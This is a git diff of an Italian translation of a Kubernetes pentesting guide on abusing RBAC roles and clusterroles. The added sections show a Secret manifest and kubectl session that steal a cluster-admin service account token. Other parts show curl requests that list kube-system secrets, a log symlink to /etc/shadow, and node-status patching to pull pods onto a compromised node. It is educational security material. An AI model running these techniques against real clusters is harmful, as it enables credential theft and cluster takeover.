Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

2025-12-30 22:50:43 -08:00 · 2025-01-22 12:06:19 +00:00
parent 21125ae782
commit a49362fede
1 changed files with 96 additions and 33 deletions
--- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
+++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
@@ -7,7 +7,7 @@ Ricorda che puoi ottenere tutte le risorse supportate con `kubectl api-resources

 ## **Privilege Escalation**

-Riferendosi all'arte di ottenere **accesso a un diverso principale** all'interno del cluster **con privilegi diversi** (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi, in Kubernetes ci sono fondamentalmente **4 tecniche principali per escalare i privilegi**:
+Si riferisce all'arte di ottenere **accesso a un diverso principale** all'interno del cluster **con privilegi diversi** (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi. In Kubernetes ci sono fondamentalmente **4 tecniche principali per escalare i privilegi**:

 - Essere in grado di **impersonare** altri utenti/gruppi/SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
 - Essere in grado di **creare/patchare/eseguire pod** dove puoi **trovare o allegare SAs** con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
@@ -33,9 +33,9 @@ verbs: ["*"]

 In RBAC, alcune autorizzazioni comportano rischi significativi:

-1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escursione dei privilegi.
-2. **`list`:** Consente di elencare tutte le risorse, potenzialmente rivelando dati sensibili.
-3. **`get`:** Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza.
+1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escalation di privilegi.
+2. **`list`:** Consente di elencare tutte le risorse, potenzialmente causando la fuga di dati sensibili.
+3. **`get`:** Permette di accedere ai segreti degli account di servizio, rappresentando una minaccia per la sicurezza.
 ```yaml
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
 ```
 ### Pod Create - Steal Token

-Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. Efficacemente elevando i privilegi.
+Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. In effetti, aumentando i privilegi.

 Esempio di un pod che ruberà il token del Service Account `bootstrap-signer` e lo invierà all'attaccante:
 ```yaml
@@ -74,9 +74,9 @@ hostNetwork: true
 ```
 ### Creazione e fuga del Pod

-Quanto segue indica tutti i privilegi che un container può avere:
+Il seguente indica tutti i privilegi che un container può avere:

- **Accesso privilegiato** (disabilitare le protezioni e impostare le capacità)
+- **Accesso privilegiato** (disabilitando le protezioni e impostando le capacità)
 - **Disabilitare i namespace hostIPC e hostPid** che possono aiutare ad elevare i privilegi
 - **Disabilitare il namespace hostNetwork**, dando accesso per rubare i privilegi cloud dei nodi e un migliore accesso alle reti
 - **Montare gli host / all'interno del container**
@@ -140,7 +140,7 @@ _Puoi trovare esempi di come creare/abuse le configurazioni dei pod privilegiati

 ### Pod Create - Move to cloud

-Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedendovi.\
+Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedervi.\
 Inoltre, se puoi creare un **pod con il namespace di rete host**, puoi **rubare il ruolo IAM** dell'istanza **node**.

 Per ulteriori informazioni controlla:
@@ -149,7 +149,7 @@ Per ulteriori informazioni controlla:
 pod-escape-privileges.md
 {{#endref}}

-### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs**
+### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**

 È possibile abusare di questi permessi per **creare un nuovo pod** e stabilire privilegi come nell'esempio precedente.

@@ -211,7 +211,7 @@ Il servizio Kubelet espone l'endpoint `/logs/` che è fondamentalmente **l'espos

 Pertanto, un attaccante con **accesso in scrittura nella cartella /var/log/** del container potrebbe abusare di questo comportamento in 2 modi:

- Modificando il file `0.log` del suo container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo:
+- Modificando il file `0.log` del proprio container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo:
 ```bash
 kubectl logs escaper
 failed to get parse function: unsupported log format: "root::::::::\n"
@@ -247,7 +247,7 @@ allowedHostPaths:
 - pathPrefix: "/foo"
 readOnly: true
 ```
-Che era destinato a prevenire le fughe come quelle precedenti, utilizzando, invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura:
+Che era destinato a prevenire le fughe come quelle precedenti, utilizzando invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura:
 ```yaml
 apiVersion: v1
 kind: PersistentVolume
@@ -310,19 +310,82 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
 -H "Accept: application/json" \
 https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
 ```
-### Elencare i Segreti
+### Elenco dei Segreti

 Il permesso di **elencare i segreti potrebbe consentire a un attaccante di leggere effettivamente i segreti** accedendo all'endpoint API REST:
 ```bash
 curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
 ```
-### Lettura di un segreto – brute-forcing token IDs
+### Creazione e Lettura dei Segreti
+
+Esiste un tipo speciale di segreto Kubernetes di tipo **kubernetes.io/service-account-token** che memorizza i token degli account di servizio. Se hai i permessi per creare e leggere segreti, e conosci anche il nome dell'account di servizio, puoi creare un segreto come segue e poi rubare il token dell'account di servizio della vittima da esso:
+```yaml
+apiVersion: v1
+kind: Secret
+metadata:
+name: stolen-admin-sa-token
+namespace: default
+annotations:
+kubernetes.io/service-account.name: cluster-admin-sa
+type: kubernetes.io/service-account-token
+```
+Esempio di sfruttamento:
+```bash
+$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
+
+$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
+Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
+Resources                                       Non-Resource URLs                      Resource Names   Verbs
+selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
+selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
+selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
+secrets                                         []                                     []               [get create]
+[/.well-known/openid-configuration/]   []               [get]
+<SNIP>
+[/version]                             []               [get]
+
+$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
+error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
+
+$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
+Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
+
+$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
+secret/stolen-admin-sa-token created
+
+$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
+{
+"apiVersion": "v1",
+"data": {
+"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
+"namespace": "ZGVmYXVsdA==",
+"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
+},
+"kind": "Secret",
+"metadata": {
+"annotations": {
+"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
+"kubernetes.io/service-account.name": "cluster-admin-sa",
+"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
+},
+"creationTimestamp": "2025-01-11T13:02:27Z",
+"name": "stolen-admin-sa-token",
+"namespace": "default",
+"resourceVersion": "1019116",
+"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
+},
+"type": "kubernetes.io/service-account-token"
+}
+```
+Nota che se ti è permesso creare e leggere segreti in un certo namespace, il serviceaccount della vittima deve trovarsi nello stesso namespace.
+
+### Lettura di un segreto – forzatura dei token ID

 Mentre un attaccante in possesso di un token con permessi di lettura richiede il nome esatto del segreto per utilizzarlo, a differenza del privilegio più ampio di _**elencare i segreti**_, ci sono ancora vulnerabilità. Gli account di servizio predefiniti nel sistema possono essere enumerati, ciascuno associato a un segreto. Questi segreti hanno una struttura di nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il [codice sorgente](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).

-Il token è generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe ragionevolmente eseguire un attacco di brute-force per dedurre il token in poche ore, potenzialmente portando a un'escalation dei privilegi accedendo a account di servizio sensibili.
+Il token è generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe eseguire un attacco di forza bruta per dedurre il token in poche ore, portando potenzialmente a un'escalation dei privilegi accedendo a account di servizio sensibili.

-### Richieste di Firma di Certificati
+### Richieste di Firma del Certificato

 Se hai i verbi **`create`** nella risorsa `certificatesigningrequests` (o almeno in `certificatesigningrequests/nodeClient`). Puoi **creare** un nuovo CeSR di un **nuovo nodo.**

@@ -370,7 +433,7 @@ Il modo per bypassare questo è semplicemente **creare una credenziale del nodo
 ```
 ### AWS EKS aws-auth configmaps

-I principi che possono modificare **`configmaps`** nello spazio dei nomi kube-system su cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il **aws-auth** configmap.\
+I principi che possono modificare **`configmaps`** nello spazio dei nomi kube-system sui cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il **configmap** **aws-auth**.\
 I verbi necessari sono **`update`** e **`patch`**, o **`create`** se il configmap non è stato creato:
 ```bash
 # Check if config map exists
@@ -411,17 +474,17 @@ groups:
 - system:masters
 ```
 > [!WARNING]
-> Puoi usare **`aws-auth`** per **persistenza** dando accesso agli utenti di **altri account**.
+> Puoi usare **`aws-auth`** per **persistenza** dando accesso a utenti di **altri account**.
 >
 > Tuttavia, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **non funziona da un account diverso**. Ma in realtà `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funziona se metti l'ARN del cluster invece del solo nome.\
 > Per far funzionare `kubectl`, assicurati di **configurare** il **kubeconfig della vittima** e negli argomenti di esecuzione di aws aggiungi `--profile other_account_role` in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS.

-### Escalation in GKE
+### Escalating in GKE

 Ci sono **2 modi per assegnare permessi K8s ai principi GCP**. In ogni caso, il principio ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere le credenziali per accedere al cluster, oppure dovrai **generare il tuo file di configurazione kubectl** (segui il link successivo).

 > [!WARNING]
-> Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, verificherà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi verificherà se ha **accesso tramite GCP IAM**.\
+> Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi controllerà se ha **accesso tramite GCP IAM**.\
 > Se **qualcuno** di questi è **vero**, riceverà una **risposta**. Se **no**, verrà fornito un **errore** che suggerisce di dare **permessi tramite GCP IAM**.

 Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro **permessi equivalenti GCP IAM**, e se il principio li ha, potrà usarli.
@@ -432,9 +495,9 @@ Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro *

 Il secondo metodo è **assegnare permessi K8s all'interno del cluster** identificando l'utente tramite la sua **email** (inclusi gli account di servizio GCP).

-### Creare token serviceaccounts
+### Create serviceaccounts token

-Principi che possono **creare TokenRequests** (`serviceaccounts/token`) quando si parla con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
+Principi che possono **creare TokenRequests** (`serviceaccounts/token`) quando parlano con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).

 ### ephemeralcontainers

@@ -444,11 +507,11 @@ Principi che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** p

 Principi con uno dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di queste webhookconfigurations** per poter **escalare i privilegi**.

-Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](./#malicious-admission-controller).
+Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](#malicious-admission-controller).

 ### Escalate

-Come puoi leggere nella sezione successiva: [**Prevenzione dell'escalation dei privilegi integrata**](./#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il **verbo `escalate`** su **`roles`** o **`clusterroles`**.\
+Come puoi leggere nella sezione successiva: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. Tranne se ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**.\
 Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha.

 ### Nodes proxy
@@ -459,11 +522,11 @@ Principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice
 ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
 {{#endref}}

-Hai un esempio di come ottenere [**RCE parlando autorizzato a un'API Kubelet qui**](../pentesting-kubernetes-services/#kubelet-rce).
+Hai un esempio di come ottenere [**RCE parlando autorizzato a un'API Kubelet qui**](../pentesting-kubernetes-services/index.html#kubelet-rce).

-### Eliminare pod + nodi non pianificabili
+### Delete pods + unschedulable nodes

-Principi che possono **eliminare pod** (`delete` verbo su `pods` risorsa), o **evictare pod** (`create` verbo su `pods/eviction` risorsa), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non pianificabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verbo su `nodes` risorsa) e hanno il controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che siano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod.
+Principi che possono **eliminare pod** (`delete` verbo su `pods` risorsa), o **espellere pod** (`create` verbo su `pods/eviction` risorsa), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non programmabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verbo su `nodes` risorsa) e hanno controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che siano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod.
 ```bash
 patch_node_capacity(){
 curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -488,7 +551,7 @@ Kubernetes ha un [meccanismo integrato](https://kubernetes.io/docs/reference/acc

 Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruolo**. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo.

-La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi che il ruolo comprende**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi a quello del ruolo che stanno tentando di creare o modificare: sia a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles.
+La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi che il ruolo comprende**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi con quello del ruolo che stanno tentando di creare o modificare: sia a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles.

 > [!WARNING]
 > C'è un'eccezione a questa regola precedente. Se un principio ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**, può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso.
@@ -496,7 +559,7 @@ La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se p
 ### **Ottieni & Patch RoleBindings/ClusterRoleBindings**

 > [!CAUTION]
-> **Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un diverso SA alcuni privilegi se non li hai già.**
+> **Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un altro SA alcuni privilegi se non li hai già.**

 Il privilegio di creare Rolebindings consente a un utente di **associare ruoli a un account di servizio**. Questo privilegio può potenzialmente portare a un'escalation dei privilegi perché **consente all'utente di associare privilegi di amministratore a un account di servizio compromesso.**

@@ -504,9 +567,9 @@ Il privilegio di creare Rolebindings consente a un utente di **associare ruoli a

 ### App proxy Sidecar

-Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, pod a pod.
+Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod.

-#### Crea un'app proxy sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
+#### Crea un'app proxy Sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>

 Crea il tuo .yaml
 ```bash
@@ -548,7 +611,7 @@ Vedi i log del proxy:
 ```bash
 kubectl logs app -C proxy
 ```
-Maggiori informazioni su: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
+More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)

 ### Malicious Admission Controller

@@ -609,9 +672,9 @@ Il frammento sopra sostituisce la prima immagine del container in ogni pod con `
 - **Pods e Account di Servizio**: Per impostazione predefinita, i pod montano un token di account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount.
 - **Come Applicare**: Imposta `automountServiceAccountToken: false` nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes.

-### **Assegnazione Ristretta degli Utenti in RoleBindings/ClusterRoleBindings**
+### **Assegnazione Utente Ristretto in RoleBindings/ClusterRoleBindings**

- **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi gli utenti irrilevanti per mantenere una sicurezza rigorosa.
+- **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi utenti irrilevanti per mantenere una sicurezza rigorosa.

 ### **Ruoli Specifici per Namespace rispetto ai Ruoli Cluster-Wide**